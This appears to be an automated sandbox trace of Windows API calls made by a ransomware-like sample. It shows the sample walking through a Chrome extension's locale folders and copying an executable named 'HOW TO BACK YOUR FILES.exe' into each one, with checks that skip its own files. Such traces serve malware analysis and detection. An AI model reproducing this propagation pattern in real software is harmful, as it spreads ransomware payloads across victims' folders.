	[0049.806] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.810] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.810] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35c218f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35c218f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.810] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.810] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.810] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr"
	[0049.810] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr"
	[0049.810] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.810] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.815] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.815] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35c47a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35c47a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.815] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.815] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.815] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl"
	[0049.815] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl"
	[0049.815] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.815] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.819] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.819] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35c47a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35c47a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.819] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.819] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.820] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk"
	[0049.820] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk"
	[0049.820] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.820] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.824] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.824] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35c47a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35c47a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.824] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.824] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.824] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru"
	[0049.825] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru"
	[0049.825] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.825] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.829] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.829] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35c47a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35c47a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.829] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.829] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.829] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro"
	[0049.829] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro"
	[0049.829] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.829] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.833] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.833] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8666a1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35c6dbb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35c6dbb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.834] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.834] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.834] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT"
	[0049.834] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT"
	[0049.834] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.834] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.838] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.838] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35c6dbb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35c6dbb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.838] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.838] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.838] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR"
	[0049.838] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR"
	[0049.838] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.838] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.843] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.843] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35c6dbb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35c6dbb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.843] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.843] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.843] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl"
	[0049.843] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl"
	[0049.843] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.843] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.847] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.847] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35c93d10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35c93d10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.847] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.847] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.847] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no"
	[0049.847] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no"
